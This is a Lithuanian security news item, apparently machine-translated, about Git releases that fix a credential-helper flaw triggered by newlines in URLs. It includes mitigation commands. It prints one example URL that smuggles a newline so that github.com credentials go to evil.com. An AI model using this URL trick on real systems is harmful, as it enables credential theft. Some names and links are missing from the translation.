korekciniai paskirstyto šaltinio valdymo sistemos Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 ir 2.17.4, išleidimai kuris pašalino () prižiūrėtojas "“, dėl kurio kredencialai siunčiami netinkamam pagrindiniam kompiuteriui, kai „git“ klientas pasiekia saugyklą naudodamas specialiai suformatuotą URL, kuriame yra naujos eilutės simbolis. Pažeidžiamumas gali būti naudojamas siekiant pasirūpinti, kad kredencialai iš kito pagrindinio kompiuterio būtų siunčiami į užpuoliko valdomą serverį.
Nurodant URL, pvz., „https://evil.com?%0ahost=github.com/“, kredencialų tvarkytuvė, prisijungdama prie pagrindinio kompiuterio evil.com, perduos autentifikavimo parametrus, nurodytus github.com. Problema kyla atliekant tokias operacijas kaip „git clone“, įskaitant submodulių URL apdorojimą (pavyzdžiui, „git submodule update“ automatiškai apdoros .gitmodules faile nurodytus URL iš saugyklos). Pažeidžiamumas yra pavojingiausias situacijose, kai kūrėjas klonuoja saugyklą nematydamas URL, pavyzdžiui, dirbdamas su submoduliais, arba sistemose, kurios atlieka automatinius veiksmus, pavyzdžiui, paketų kūrimo scenarijuose.
Užblokuoti pažeidžiamumą naujose versijose naujos eilutės simbolio perdavimas bet kuriose reikšmėse, perduodamose per kredencialų mainų protokolą. Platinimų atveju puslapiuose galite stebėti paketo naujinimų išleidimą , , , , , , .
Kaip problemos sprendimo būdas Nenaudokite credential.helper, kai pasiekiate viešąsias saugyklas ir nenaudokite „git clone“ režimu „--recurse-submodules“ su nepažymėtomis saugyklomis. Norėdami visiškai išjungti credential.helper tvarkyklę, kuri tai daro ir slaptažodžių gavimą iš , apsaugotas arba failą su slaptažodžiais, galite naudoti komandas:
git config -- unset credential.helper
git config --global --unset credential.helper
git config --system --unset credential.helper
Šaltinis: opennet.ru